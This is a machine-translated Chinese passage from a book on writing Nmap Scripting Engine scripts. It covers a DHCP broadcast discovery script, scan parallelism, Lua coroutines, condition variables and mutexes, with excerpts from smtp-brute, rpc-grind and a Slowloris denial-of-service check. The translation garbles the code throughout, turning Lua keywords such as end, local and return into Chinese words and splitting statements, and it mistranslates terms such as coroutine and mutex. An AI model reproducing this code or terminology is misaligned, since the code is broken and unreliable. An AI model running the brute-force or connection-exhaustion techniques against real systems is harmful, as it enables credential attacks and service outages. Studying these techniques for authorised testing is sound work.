local stdnse = require "stdnse" local string = require "string" local table = require "table"
描述 = [[]
向广播地址(255.255.255.255)发送一个DHCP请求,并报告
的结果。该脚本使用一个静态MAC地址(DE:AD:CO:DE:CA:FE),而
这样做是为了防止范围枯竭。
脚本通过打开一个监听的 pcap 套接字,使用 pcap 读取响应。
在所有可用的以太网接口上报告向上。如果没有回应
在达到超时之前,已经收到的数据(默认为10秒)。
脚本将中止执行。
该脚本需要以特权用户的身份运行,通常是root。
]]
---
-- @使用情况
-- sudo nmap --script broadcast-dhcp-discover
--
--@输出
--|广播-DHCP-发现。
-- -- -- -- 提供的IP:192.168.1.114
--|DHCP消息类型。DHCPOFFER
--|服务器标识符。192.168.1.1
-- | IP地址租赁时间:1天,0:00:00
--|子网掩码: 255.255.255.0
--| 路由器。192.168.1.1
--|域名服务器。192.168.1.1
--_域名: localdomain
--
-- @args broadcast-dhcp-discover.timeout 等待响应的时间(秒)。
--(默认:10s)。
--
-- 0.1版
第八章
-- 2011年7月14日创建 -- v0.1 -- 由Patrik Karlsson创建
作者="Patrik Karlsson"
license = "与Nmap相同--见http://nmap.org/book/man-legal.html" categories = {"broadcast", "safe"}
这个脚本中使用的执行规则是一个预规则,它检查所需的权限和兼容的地址族。
prerule = function()
如果不是nmap.is_privileged(),那么stdnse.print_verbose("%s not running for lack of
特权。", SCRIPT_NAME)
返回错误
结束
如果 nmap.address_family() ~= 'inet' 则 stdnse.print_debug("%s 仅与 IPv4 兼容。" 。
SCRIPT_NAME)
返回错误
结束
return true end
该脚本还定义了随机化MAC()和getInterfaces(link, up)辅助函数。它们分别负责生成假的MAC地址和选择正确的接口来监听。
-- 创建一个随机的MAC地址
--
--@return mac_addr string containing a random MAC local function randomizeMAC()
local mac_addr = "" for j=1, 6 do
mac_addr = mac_addr ... string.char(math.random(1, 255))
结束
返回 mac_addr 结束
-- 根据链接和上行过滤器获取可用接口的列表
--
-- @param link字符串,包含要过滤的链接类型
-- @param up字符串,包含要过滤的接口状态
-- @返回包含匹配接口的结果表 local function getInterfaces(link, up)
使用网络套接字和二进制数据的工作
if( not(nmap.list_interfaces) ) then return end local interfaces, err = nmap.list_interfaces() local result
如果 ( not(err)) 那么
for _, iface in ipairs(interfaces) do
If ( iface.link == link and iface.up == up ) then result = result or {}.
结果[iface.device] = true
结束
结束
结束
返回结果 结束
辅助函数dhcp_listener(sock, timeout, xid, result)被定义为监听进入的DHCP响应。这个函数将打开一个数据包捕获接口,并在数据包库的帮助下解析响应。
-- 监听传入的dhcp响应
--
-- @param iface字符串,表示要监听的接口名称
--@param timeout 等待响应的ms数
-- @param xid DHCP事务的ID
--@param result 一个表,结果将被写入其中 local function dhcp_listener(sock, timeout, xid, result)
local condvar = nmap.condvar(result) sock:set_timeout(100)
local start_time = nmap.clock_ms()
while( nmap.clock_ms() - start_time < timeout ) do local status, _, _, data = sock:cap_receive()
-- 终止,一旦另一个线程接受了我们的回应,如果( #result > 0 ),那么
sock:close() condvar "signal" return
结束
如果 ( 状态 ) 那么
local p = packet.Packet:new( data, #data ) if ( p and p.udp_dport ) then
local data = data:sub(p.udp_offset + 9)
本地状态,响应 = dhcp.dhcp_parse(data, xid) if ( status ) then
结束
结束
结束
结束
table.insert( result, response ) sock:close()
condvar "signal" return
sock:close() condvar "signal"
结束
最后,行动函数负责建立DHCP广播请求,并创建工作线程,调用dhcp_listener()来解析响应。
行动=函数()
本地主机, 端口 = "255.255.255.255", 67 本地超时 =
stdnse.parse_timespec(stdnse.get_script_args("broadcasting-dhcp
-discover.timeout"))
timeout = (timeout or 10) * 1000
-- 随机化的MAC可能会耗尽小范围的dhcp服务器
-- 如果运行多次,所以我们也许应该避免做
--这个?
local mac = string.char(0xDE,0xAD,0xC0,0xDE,0xCA,0xFE)-- randomizeMAC()
本地接口
--首先检查用户是否提供了一个接口 if ( nmap.get_interface() then
接口 = { [nmap.get_interface()] = true }
否则
-- 由于响应将被发送到 "提供的 "ip地址,我们需要
-- 使用 pcap 来获取它。然而,我们不知道什么接口
-- 我们的数据包是通过什么渠道出去的,所以让我们得到一个所有接口的列表,以及
-- 接口 = getInterfaces("ethernet", "up")......在所有接口上运行 pcap,如果它们 a) 是向上的,b) 是以太网。
结束
if( not(interfaces)) then return "\nERROR:接口失败(尝试使用-e明确设置一个接口)" 结束
local transaction_id = bin.pack("<I>, math.random(0, 0x7FFFFFFF))
local request_type = dhcp.request_types["DHCPDISCOVER"] local ip_address = bin.pack(">I", ipOps.todword("0.0.0.0"))
-- 我们需要将标志设置为广播
本地 request_options, overrides, lease_time = nil, { flags = 0x8000 }, nil
local status, packet = dhcp.dhcp_build(request_type, ip_address, mac, nil, request_options, overrides, lease_time, transaction_id)
if (not(status)) then return "\nERROR:Failed to buildpacket" end
局部线程 = {} 局部结果 = {}。
local condvar = nmap.condvar(result)
--为每个接口启动一个监听线程 for iface, _ in pairs(interfaces) do
当地的袜子,公司
sock = nmap.new_socket()
sock:cap_open(iface, 1500, false, "ip &&udp && port 68") co = stdnse.new_thread( dhcp_listener, sock, timeout,
transaction_id, result )
threads[co] = true
结束
local socket = nmap.new_socket("udp") socket:bind(nil, 68)
socket:sendto( host, port, packet ) socket:close()
-- 等到所有线程都完成后再重复
for thread in pairs(threads) do
如果coroutine.status(thread) == "dead" 那么 threads[thread] = nil end
结束
如果( next(threads)) 那么condvar "wait"
结束
第八章
直到 next(threads) == nil
本地响应= {}
-- 显示结果
为i,r在ipairs(result)中做
table.insert(response, string.format("IP Offered: %s", r.yiaddr_str) )
for _, v in ipairs(r.options) do if(type(v['value']) == 'table') then
table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value']) ))
否则
table.insert(response, string.format("%s: %s\n", v['name'], v['value'])
结束
结束
结束
return stdnse.format_output(true, response) end
您可以在Nmap安装的scripts文件夹中找到broadcast-dhcp-discover。
摘要
在本章中,你学到了所有关于用NSE套接字执行面向连接和高级网络I/O操作的知识。原始数据包操作可能很复杂,但正如我们所看到的,在NSE中是非常直接的。现在,你应该能够在Nmap API以及bin和packet NSE库的帮助下编写与其他主机通信的脚本。试着写一个与不支持的协议通信的脚本来实践这里所涉及的主题。
接下来,你将学习Lua和NSE的并行性,以实现协作式多任务。下一章的目的是给你提供控制NSE脚本内工作线程执行流程所需的工具,但现在还不要开始考虑线程问题。Lua COROUTINE与抢占式多任务的线程不同。继续阅读以了解这些区别以及它们如何帮助你的脚本。
平行主义
NSE脚本在Lua线程内并行执行(每个脚本一个线程),开发者不需要明确定义这种行为。然而,Nmap脚本引擎(NSE)支持不同的机制,为可能想用附加线程同时执行多个网络操作的开发者提供更精细的执行控制。而且,NSE自动并行地执行网络I/O操作。在执行网络读取任务时,脚本的执行通常会停止,然后再屈服。为了扩展或改变这种行为,我们需要使用NSE中支持的并行机制。
在这一章中,你将了解到为NSE开发时需要知道的关于并行的一切。本章包括以下主题。
- Lua中的Coroutines
- 条件变量
- 突发事件
- NSE螺纹
- 影响扫描过程中并行性的其他Nmap选项
希望在本章结束后,你已经掌握了与Lua和NSE中的并行性有关的概念。有了这些知识,你就可以很容易地分辨出脚本中并行的好处,甚至是需要并行的情况。让我们先来看看一些例子,在NSE中亲身体验一下并行性。
Nmap中的平行性选项
同时运行的脚本实例线程的数量受开放端口的数量和同时扫描的组的大小影响。
在Nmap (nmap/nse_main.lua)中可以硬编码的脚本实例线程的最大限制是1000个,但是这个限制没有考虑到脚本启动的新NSE线程。作为一个NSE开发者,您必须考虑这一点,特别是在您与外部服务通信的时候。
因为太多的连接同时运行可能会禁止IP地址。
在我们开始讨论Lua和NSE中可用的并行机制之前,让我们集中讨论影响扫描中的并行性的Nmap选项。--min-hostgroup。
--max-hostgroup, --min-parallelism, 和 --max-parallelism选项的工作方式是
在以下章节中描述。
同时扫描多个主机
Nmap的-min-hostgroup和-max-hostgroup选项控制同时探测的主机数量。扫描报告是根据这个值重新生成的。稍微玩玩这个值,但别忘了启用调试以看到结果。我们用下面的命令做扫描报告。
$ nmap -sC -F --min-hostgroup 500 <target>.
$ nmap -sC -F --max-hostgroup 100 <target>.
$ nmap -sC -F --min-hostgroup 500 --max-hostgroup 800 <target>。
增加发送探针的数量
Nmap的--min-paralellism和--max-parallelism选项控制同时发送探针的数量。
$ nmap -sC -F --min-parallelism 500 <target>.
一些脚本,如http-slowloris.nse,需要用户设置--max-并行性的值,以便正确工作。
$ nmap -p80 --script http-slowloris --max-parallelism 400 <target>.
计时模板
时序模板被设计成不同优化设置的别名。目前,Nmap有六个不同的模板。您可以用-T[0-5] Nmap选项来设置它们。
# nmap -T4 -sC<target>
--------------- 计时报告 ---------------
hostgroups:最小1,最大100000
rtt-timeouts:初始500,最小100,最大1250
最大扫描延迟。tcp 10, udp 1000, sctp 10
并行性:最小0,最大0
max-retries:6, host-timeout:0
最小速率。0, max-rate:0
---------------------------------------------
请记住,计时模板不改变影响NSE中的并行性的值。让我们看看Nmap使用-T1和-T5报告的时序值。
- 狡猾(-1)。这就产生了以下报告。
--------------- 计时报告 ---------------
hostgroups:最小1,最大100000
rtt-timeouts: init 15000, min 100, max 15000
最大扫描延迟。tcp 1000, udp 1000, sctp 1000
并行性:最小0,最大1
max-retries:10, host-timeout:0
最小速率。0, max-rate:0
---------------------------------------------
- 疯了(-5)。这将产生以下报告。
--------------- 计时报告 ---------------
hostgroups:最小1,最大100000
rtt超时:初始250,最小50,最大300
最大扫描延迟。tcp 5, udp 1000, sctp 5
并行性:最小0,最大0
max-retries: 2, host-timeout: 900000
最小速率。0, max-rate:0
---------------------------------------------
Lua中的平行性机制
这一节介绍了Lua中一种有趣的并行机制,叫做coroutines,它将帮助我们实现协作式多任务。
Coroutines
Lua中的Coroutine是一个非常有趣的功能,它允许开发者合作执行多个任务。每个程序都有自己的执行栈,它们在后台被NSE用来封装其脚本的执行。使用coroutine的主要优点是能够暂停和产生任务的执行。理解Lua中的coroutines和传统线程在抢占式多任务中的区别很重要。Coroutines共享上下文数据,因此,在处理共享大量信息的任务时,必须用它来减少开销。
然而,请记住,在任何时候只有一个任务被执行。任务必须在它们之间传递控制,以实现协作式多线程。
Coroutine有三种可能的状态。
- 跑步
- 已暂停
- 死了
基本上,coroutine的执行流程是由coroutine.yield()控制的。
和coroutine.resume()函数,尽管还有其他操作可用。可以对coroutine进行的操作如下。
- coroutine.create(f)。该函数用于创建coroutines。它返回一个线程类型的值。
- coroutine.resume(co [, val1, ---])。该函数将一个循环程序的状态从暂停变为运行。
- coroutine.running()。该函数返回当前正在执行的线程。
- coroutine.status(co)。该函数返回一个循环程序的状态。
- coroutine.wrap(f)。这个函数被用来替代coroutine.create()和coroutine.resume()。
- coroutine.yield(--)。这个函数用于暂停coroutine。
接下来,我们将通过Lua脚本中的一些例子来学习如何使用轮子程序。
使用冠状病毒的工作
让我们从一个简单的脚本开始,该脚本创建了两个执行迭代循环的轮候程序
并合作控制执行流程。
- 首先,要创建一个 coroutine,我们只需调用 coroutine.create(),并将我们工作者的主函数作为一个参数。让我们来探索一个匿名函数,它可以循环,打印一个计数器,然后产生另一个coroutine。
co1 = coroutine.create( function()
for i = 1, 5 do print("coroutine #1:".i) coroutine.yield(co2)
结束
结束
)
- 我们将创建另一个具有完全相同功能的轮回,但
一个不同的标识符。
co2 = coroutine.create( function()
for i = 1, 5 do print("coroutine #2:".i) coroutine.yield(co1)
结束
结束
)
- Coroutines在暂停模式下启动,所以让我们再设置一个运行它们的循环。
for i = 1, 5 do coroutine.resume(co1) coroutine.resume(co2)
结束
- 现在运行该脚本并查看输出结果。最后的脚本看起来像这样。
#!/opt/local/bin/lua co1 = coroutine.create(
功能()
for i = 1, 5 do print("coroutine #1:".i) coroutine.yield(co2)
结束
结束
)
co2 = coroutine.create( function()
for i = 1, 5 do print("coroutine #2:".i) coroutine.yield(co1)
结束
结束
)
平行主义
for i = 1, 5 do coroutine.resume(co1) coroutine.resume(co2)
结束
- 如果我们执行该脚本,我们将得到以下输出。
$ ./coroutines_ex1.lua coroutine #1:1
coroutine #2:1
coroutine #1:2
coroutine #2:2
coroutine #1:3
coroutine #2:3
coroutine #1:4
coroutine #2:4
coroutine #1:5
coroutine #2:5
- 为了识别正在运行的coroutine,我们可以使用coroutine.running()
功能。如果我们添加以下代码,输出结果将是什么?
co1 = coroutine.create( function()
for i = 1, 5 do print(coroutine.running()) print("coroutine #1:".i) coroutine.yield(co2)
结束
结束
)
输出结果将与此类似。
thread: 0x7fc26340a250false coroutine #1:1
thread: 0x7fc26340a5a0false coroutine #2:1
thread: 0x7fc26340a250false coroutine #1:2
thread: 0x7fc26340a5a0 false coroutine #2:2
thread: 0x7fc26340a250 false coroutine #1:3
线程: 0x7fc26340a5a0 false coroutine #2:3
线程: 0x7fc26340a250 false coroutine #1:4
thread: 0x7fc26340a5a0 false coroutine #2:4
thread: 0x7fc26340a250 false coroutine #1:5
thread: 0x7fc26340a5a0 false coroutine #2:5
线程: 0x7fc26340a250 false
让我们创建一个新版本的脚本,以说明coroutine的不同状态以及coroutine.yield()操作的结果。
#!/opt/local/bin/lua co1 = coroutine.create(
功能()
for i = 1, 10 do
print("Coroutine #1 is " ...coroutine.status(co1)) print("Coroutine #2 is " ...coroutine.status(co2)) print("coroutine #1:" ...i)
coroutine.yield(co2)
结束
结束
)
co2 = coroutine.create( function()
for i = 1, 10 do
print("Coroutine #1是"...coroutine.status(co1)) print("Coroutine #2是"...coroutine.status(co2)) print("coroutine #2:"...i)
coroutine.yield(co1)
结束
结束
)
for i = 1, 10 do coroutine.resume(co1) coroutine.resume(co2)
结束
前面的脚本的输出如下。
$ ./coroutines_ex2.lua Coroutine #1正在运行 Coroutine #2暂停运行 coroutine #1:1
Coroutine #1被暂停 Coroutine #2正在运行 Coroutine #2:1
Coroutine #1正在运行 Coroutine #2暂停运行 Coroutine #1:2
Coroutine #1被暂停 Coroutine #2正在运行 Coroutine #2:2
Coroutine #1正在运行 Coroutine #2暂停运行 Coroutine #1:3
Coroutine #1暂停运行 Coroutine #2正在运行 Coroutine #2:3
stdnse.base()方法包含在stdnse库中,以帮助开发者识别运行脚本的coroutine--具体来说就是运行动作函数的coroutine。例如,这些信息可以被coroutine.status()函数使用,以确定主线程是否已经退出,以及我们是否需要停止我们的工作线程。
basethread = stdnse.base()
...
如果 ( self.quit 或 coroutine.status(self.basethread) == 'dead' ) 则
table.insert(response_queue, {false, { err = false, msg = "Quit signalled by crawler" }})
休息结束
让我们看看另一个例子。smtp-brute脚本维护了一个连接池,以有效地利用其实现的Driver类中的可用连接(见第5章,加强版本检测)。该脚本在 coroutine.running() 的帮助下,创建了一个表来存储对每个正在运行的 coroutine 的引用。
以避免重新连接到服务,因为这个协议不需要它。这个脚本的代码如下。
本地brute = 需要 "brute"
local coroutine = require "coroutine" local creds = require "creds"
local shortport = require "shortport" local smtp = require "smtp"
local stdnse = require "stdnse"
...
-- 通过使用这个连接池,我们不需要重新连接套接字。
-- 对于每一次尝试。连接池 = {}驱动程序 =
{
...
connect = function( self )
self.socket = ConnectionPool[coroutine.running()] if ( not(self.socket) ) then
self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
如果 ( not(self.socket)) 则返回 false end ConnectionPool[coroutine.running()] = self.socket
结束
return true end,
login = function( self, username, password )
local status, err = smtp.login( self.socket, username, password, mech )
如果( status ),则smtp.quit(self.socket)。
ConnectionPool[coroutine.running()] = nil
return true, creds.Account:new(username, password, creds.State.VALID)
结束
if ( err:match("^ERROR: Failed to .*") then self.socket:close() ConnectionPool[coroutine.running() ] = nil local err = brute.Error:new( err )
-- 这可能是暂时的,设置重试标志 err:setRetry( true )
return false, err end
return false, brute.Error:new( "Incorrect password" ) end,
-- 与服务器断开连接(将连接对象释放回给
--池子里的)。
disconnect = function( self ) return true
结束。
}
在动作块的最后,脚本遍历了连接池,并简单地关闭了所有的套接字。
for _, sock in pairs(ConnectionPool) do sock:close()
结束
现在你已经开始了解Lua中的并行性是如何工作的,我们将继续讨论NSE支持的机制,用NSE线程、条件变量和互斥来补充coroutines的力量。
Lua的官方文档中关于coroutines的内容可以在以下页面找到。
NSE中的平行性机制
当开发并行执行操作的NSE脚本时,您不需要担心保护内存资源,因为Nmap是单线程的。但是,如果我们在处理大量的脚本实例时,确实需要考虑网络资源,如套接字或网络带宽。
NSE螺纹
stdnse NSE库支持创建NSE线程,这些线程可以在你的脚本的Lua线程内运行,并并行地执行网络操作。
stdnse.new_thread()函数创建一个新的NSE线程。这个函数把要在新线程中执行的函数作为第一个参数,还可以选择工人线程的主函数所需的参数。要创建一个NSE工作者,你必须加载stdnse库并调用stdnse.new_thread()函数。
stdnse.new_thread(func, arg1, arg2, arg3, ...)
让我们创建一个脚本,启动三个独立的NSE工作者,并等待所有任务的完成。
local stdnse = require "stdnse"
...
function func1(host, port) ... end function func2(host, port) ... end function func3(host, port) ... end
...
action = function(host, port)
...
local thread1 = stdnse.new_thread(func1, host, port) local thread2 = stdnse.new_thread(func2, host, port) local thread3 = stdnse.new_thread(func3, host, port)
虽然是真的,但做
如果coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" and coroutine.status(thread3)
=="死了",然后休息
结束 stdnse.sleep(1)
结束
结束
当我们需要并行地执行网络操作时,NSE线程特别有用。为了控制线程之间的执行流程,NSE支持条件变量和突变器。让我们来了解一下它们,并看看一些使用NSE工作者的常见实现的真实例子。
条件变量
条件变量是一种机制,用于控制与NSE线程一起工作的脚本的执行流程。它们被用来给可能正在等待的线程发信号,也用来阻塞线程直到满足某个条件。要创建一个条件变量,我们使用Nmap API和nmap.condvar()函数。
local MyCondVarFn = nmap.condvar("AnythingExceptBooleanNumberNil")
nmap.condvar()函数将一个对象作为参数,该对象可以是除nil、布尔值或数字以外的任何东西,并返回一个必须用来对条件变量进行操作的函数。对条件变量的可用操作有
- 等待
- 广播
- 信号
每个条件变量都有一个等待队列,其中的线程是按照它们调用等待函数的顺序存储的。信号函数从等待队列中抽取一个线程并恢复它,而广播则恢复所有线程。
local MyCondVar = nmap.condvar("GoToFail")
...
MyCondVar "等待"
让我们看看一个网络爬虫的实现,其中启动了几个工作线程,主线程使用一个条件变量来等待,直到URL队列是空的,工作线程完成了他们的工作。
--初始化网络爬虫。
--这个函数提取初始链接集和
--创建子爬虫,开始处理这些链接。
--它等待所有子爬虫完成后再退出。
--@param uri URI字符串
--@param settings 选项表
local function init_crawler(host, port, uri) stdnse.print_debug(1, "%s: [Subcrawler] Crawling URI '%s'",
LIB_NAME, uri)
local crawlers_num = OPT_SUBCRAWLERS_NUM local co = {}。
local condvar = nmap.condvar(host) init_registry()
--为了一致性,将初始URI转换为绝对形式,如果not( is_url_absolute(uri)) 则
local abs_uri = url.absolute("http://".stdnse.get_hostname(host), uri)
stdnse.print_debug(3, "%s:Starting URI '%s' became '%s'", LIB_NAME, uri, abs_uri)
uri = abs_uri end
--从给定的网址中提取链接
本地urls = url_extract(host, port, uri)
如果#urls<=0,那么
stdnse.print_debug(3, "%s:0 links found in %s", LIB_NAME, uri) nmap.registry[LIB_NAME] [" finished"] = true
返回错误结束
add_unvisited_uris(urls)
--减少子爬虫的数量,如果初始链接列表的数量较少的话
-- 项目比子爬虫的数量多 如果tonumber(crawlers_num) > #urls,那么
crawlers_num = #urls end
--醒目的亚爬虫
for i=1,crawlers_num do
stdnse.print_debug(2, "%s: Creating subcrawler #%d", LIB_NAME,
i)
co[i] = stdnse.new_thread(init_subcrawler, host, port)
结束
重复
condvar "wait";
对于i, thread in pairs(co) do
如果coroutine.status(thread) == "dead" 那么co[i] = nil end end
直到 next(co) == nil。
dump_visited_uris() nmap.registry[LIB_NAME][" finished"] = true nmap.registry[LIB_NAME]["running"] = false
结束
让我们看看另一个例子。rpc-grind NSE脚本创建了NSE线程,它在其中启动了rpcGrinder函数的实例。
local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME ... ".threads")) or 4
local iterator = rpcIterator() if not iterator then
返回结束
-- 现在,执行我们的研磨机,为i = 1,螺纹做
local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
lthreads[co] = true end
local condvar = nmap.condvar(result) repeat
for thread in pairs(lthreads) do
如果coroutine.status(thread) == "dead" 那么lthreads[thread] = nil
结束 结束
if ( next(lthreads)) then condvar "wait";
结束
直到 next(lthreads) == nil。
rpcGrinder函数负责发送RPC探针,并向主线程发出信号,让它知道自己的工作已经完成,队列中的新线程可以运行了。rpcGrinder()的代码片段如下。
-- 遍历程序编号,并检查响应是否有迹象表明
-- 发送的程序号是目标服务的匹配号。
-- @param host 在Nmap中常用的主机表。
-- @param port Nmap中常用的端口表。
-- @param iterator 迭代器函数,返回程序名称和数字对。
--@param result table to put results into.
local rpcGrinder = function(host, port, iterator, result) local condvar = nmap.condvar(result)
本地rpcConn, 版本, xid, 状态, 响应, 包, err, 数据, _
xid = math.random(123456789)
-- 我们使用一个随机的、很可能不被支持的版本,以便
-- 我们还触发了目标服务的最小和最大版本披露。
版本 = math.random(12345, 123456789) rpcConn = rpc.Comm:new("rpcbind", version) rpcConn:SetCheckProgVer(false)
status, err = rpcConn:Connect(host, port)
If not status then stdnse.debug1("Connect(): %s", err) condvar "signal" 。
返回结束
对于程序,迭代器中的数字,做
-- 如果我们找到了匹配的服务,就不需要再继续下去。
第九章
如果#result>0,那么就断掉
结束
xid = xid + 1 -- XiD每次增加1(从旧的RPC研磨) <= 有什么重要原因吗?
rpcConn:SetProgID(number)
packet = rpcConn:EncodePacket(xid) status, err = rpcConn:SendPacket(packet) if not status then
stdnse.debug1("SendPacket(): %s", err) condvar "signal";
返回结束
status, data = rpcConn:ReceivePacket() if not status then
stdnse.debug1("ReceivePacket(): %s", data) condvar "signal";
返回结束
_,response = rpcConn:DecodeHeader(data, 1) if type(response) == 'table' then
如果xid ~= response.xid,那么
--不应该发生。 stdnse.debug1("XID不匹配。")
结束
-- 看看接受状态
-- 不支持的版本意味着我们使用了正确的程序号
如果 response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH 那么
result.program = program result.number = number
_, result.highver = bin.unpack(">I", data, #data - 3)
_, result.lowver = bin.unpack(">I", data, #data - 7) table.insert(result, true) -- 为了使#result > 1
-- 否则,除程序不可用外的接受状态不是正常行为。
elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
stdnse.debug1("返回 %s 程序编号的 %s 接受状态。", response.accept_state, number)
结束
结束 结束
condvar "signal"; return result
结束
突发事件
NSE提供了互斥机制,以防止多个脚本在同一时间访问一个资源,例如,nmap脚本注册表。NSE的开发者也可以使用互斥来在任何时候只运行一个脚本的实例,即使有几个主机同时被扫描。我们还可以用它们来控制一个脚本的执行流程,当与几个线程一起工作时,可以用其他方式。
nmap.mutex()函数接受一个对象作为参数,它可以是任何数据类型,除了nil、数字和布尔。要创建一个mutex,我们只需加载Nmap API并调用nmap.mutex()。
本地nmap = 需要 "nmap"
...
行动 = 函数 (host, port)
...
local Mutex = nmap.mutex("MY SCRIPT ID")
--现在我们对我们的mutex做一些事情 结束
nmap.mutex()返回的函数需要四个可能的参数。
- 试锁
- 锁定
- 运行
- 完成
让我们来看看这个动作,写一个脚本,它将锁定一个突变体,在任何时候都只允许一个脚本的实例。
本地nmap = require "nmap" 本地mutex =
nmap.mutex("AnyStringOrDatatypeExceptForNilNumbersBooleans")
函数run_crawler()
...结束
函数init()
如果 nmap.registry{SCRIPT_NAME].executed=nil 那么 run_crawler() nmap.registry[SCRIPT_NAME].executed = true
结束 结束
action = function(host, port) mutex "lock"
init()
mutex "done" end
我们调用lock和done函数来阻止init()函数的执行,这将允许在任何时候只有一个脚本实例被执行,即使有多个主机正在被扫描。存在另一个名为trylock的函数,它将尝试锁定资源;如果它很忙,它将立即返回false。这个
与锁的作用不同,因为它在锁被授予之前不会产生。最后,运行函数返回拥有mutex锁的线程。
运行函数只建议用于调试,因为它影响到线程集合。
用NSE消耗TCP连接
现在我们可以很容易地创建一个脚本,同时启动多个连接并保持它们的开放。让我们看看http-slowloris-check脚本,它可以检测到臭名昭著的Slowloris漏洞(http://ha.ckers.org/slowloris/),该漏洞以用很少的网络资源造成拒绝服务状况而闻名。 在这种情况下,该脚本只打开了两个连接,但我们可以把这个想法扩展到保持尽可能多的连接。如果你想找一个类似的实现,请参考http-slowloris NSE漏洞(https://svn.nmap.org/nmap/scripts/http-slowloris.nse)。
http-slowloris-check的主要功能是启动两个工作线程,并等待它们都完成。通过比较时间差来确定第二个工作线程是否花费了更多时间,因此,连接是否保持了活力。
action = function(host,port)
......--slowloris vuln表的定义在这里
本地报告 = vulns.Report:new(SCRIPT_NAME, host, port) slowloris.state = vulns.STATE.NOT_VULN
本地_
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- 首先确定我们是否需要SSL
HalfHTTP = "POST /" ... tostring(math.random(100000, 900000)) ... " HTTP/1.1\r\n" ...
"主机。"...host.ip ..."\r\n" ...
"User-Agent。" ... http.USER_AGENT. "\r\n; " ... "Content-Length: 42\r\n"
-- 两个线程同时运行
local thread1 = stdnse.new_thread(slowThread1, host, port) local thread2 = stdnse.new_thread(slowThread2, host, port) while true do -- 等待两个线程死亡
如果coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" 那么
休息结束
stdnse.sleep(1) end
--比较时间
如果( not(TimeWith) or not(TimeWithout)),则返回
结束
local diff = TimeWith - TimeWithout stdnse.debug1("Time difference is: %d",diff)
--如果第二个连接在第一个连接后10秒或更长时间死亡
-- 这意味着发送额外的数据延长了连接的时间
-- 如果diff>=10,那么服务器就容易受到slowloris攻击。
stdnse.debug1("差异大于或等于10秒。") slowloris.state = vulns.STATE.VULN
结束
return report:make_output(slowloris) end
第九章
两个主线程函数都打开一个套接字,并发送一个不完整的HTTP请求。唯一的区别是,第二个函数将发送额外的数据以试图保持连接的开放。slowThread1(host, port)和slowThread2(host, port)的函数定义如下。
--做一个半http请求,并等待至超时 local function slowThread1(host,port)
--如果在确定SSL时没有收到响应,如果( Bestopt == "none") 则
返回结束
当地的socket,status 当地的catch = function()
TimeWithout = nmap.clock() end
本地 try = nmap.new_try(catch) socket = nmap.new_socket() socket:set_timeout(500 * 1000)
socket:connect(host.ip, port, Bestopt) socket:send(HalfHTTP) try(socket:receive() )
TimeWithout = nmap.clock() end
--做了一个半http请求,但发送了另一个
-- 10秒后的头值 local function slowThread2(host,port)
--如果在确定SSL时没有收到响应,如果( Bestopt == "none") 则
返回结束
当地的socket,status 当地的catch = function()
--注意插座超时的时间 TimeWith = nmap.clock() stdnse.debug1("2 try")
结束
本地 try = nmap.new_try(catch) socket = nmap.new_socket() socket:set_timeout(500 * 1000)
socket:connect(host.ip, port, Bestopt) socket:send(HalfHTTP)
stdnse.sleep(10) socket:send("X-a: b\r\n") try(socket:receive() )TimeWith = nmap.clock()
结束
平行主义
执行流程是由coroutine.status()控制的,以检测是否有两个
工人线程完成后,就可以逃离这个循环,完成其余的例程。
摘要
在扫描过程中,NSE会自动并行地执行几个操作以获得更好的性能。大多数时候,我们甚至不会意识到我们的脚本是因此而产生的。然而,在有些特殊情况下,我们可能需要更精细的
对我们脚本的执行进行控制。
在本章中,你学到了NSE支持的所有并行机制,以及如何使用它们来控制脚本和工作线程的执行流程。我们介绍了Lua coroutines,展示了它与传统的抢占式多线程的区别,并演示了如何使用它们来实现协作式多线程。此外,你还了解了条件变量和突变器,以控制NSE中线程的执行流程。
下一步是回顾你以前写过的所有脚本,检查是否有任何脚本可以通过实现并行化来改进。如果运气好的话,你会使你的NSE脚本更快。
在接下来的一章中,你将通过具体的例子来学习用NSE开发漏洞,演示如何使用Nmap API和相应的NSE库来正确发现、利用和报告安全漏洞。开启你的终端,让我们来破坏一些东西吧!
漏洞检测和
剥削
在这一章中,我的目的是教给您Nmap脚本引擎(NSE)中可用的预置功能和广泛的库,以利用不同应用程序、服务和网络协议中的漏洞。如同
任何其他的开发框架,主要的好处是在创建漏洞时减少开发时间,而这些时间在笔测试中是非常有价值的,特别是在那些可怕的短期约定。
所有NSE漏洞都继承了一个强大的功能--Nmap的扫描能力。脚本执行规则非常灵活,允许我们使用主机规则、端口规则,甚至Nmap的版本检测信息来发现漏洞。一旦你有
有了一个有效的NSE漏洞,你几乎不需要任何额外的努力就可以对整个网络发起攻击。你的漏洞还将支持额外的功能,如并行性、CIDR符号、不同的输出格式、读取目标列表的能力,以及NSE库支持的许多其他特定协议配置设置。
虽然NSE类别中的exploit和vuln目前只包含不到100个脚本,但它们是我最喜欢的两个类别。在笔试过程中,我不断发现过时的XP盒子、易受攻击的服务、网络服务器和应用程序使用了这个类别中的NSE脚本。如果你属于一个
蓝队防御网络攻击者,你也应该知道这些脚本,以快速检测任何弱点。请记住,扫描可以被安排为定期运行。
在本书的这一部分,我们将看一下以下的开发过程。
- RealVNC服务器中一个简单的认证绕过漏洞
- 经典的netapi MS08_067漏洞
- OpenSSL臭名昭著的 "心脏出血 "漏洞
- 网络应用中神秘的Shellshock漏洞
- 影响数以千计的IPMI/IPTV的配置泄露漏洞。
BMC接口
此外,我们将学习vulns NSE库,它可以帮助我们正确地报告漏洞,以及其他一些事情。让我们开始工作,用NSE造成混乱吧!
漏洞扫描
把Nmap变成一个漏洞扫描器的最简单的方法是运行vuln NSE类别的脚本,检查特定的漏洞。目前,有66个脚本可用,针对流行的应用程序、产品、协议,和
服务。虽然这个数字可能不是那么令人印象深刻,但NSE的漏洞利用能力可以为我们从头开发漏洞时节省无数的时间。
使用NSE进行漏洞检测的一些关键方面如下。
- 扫描期间收集的主机信息可以通过Nmap API访问
- NSE的脚本可以通过先进的方式生成额外的主机信息
运行期间的指纹识别
- NSE脚本可以在其他脚本之间共享执行过程中发现的有效凭证
- NSE提供了几个网络协议库,它们可以随时使用
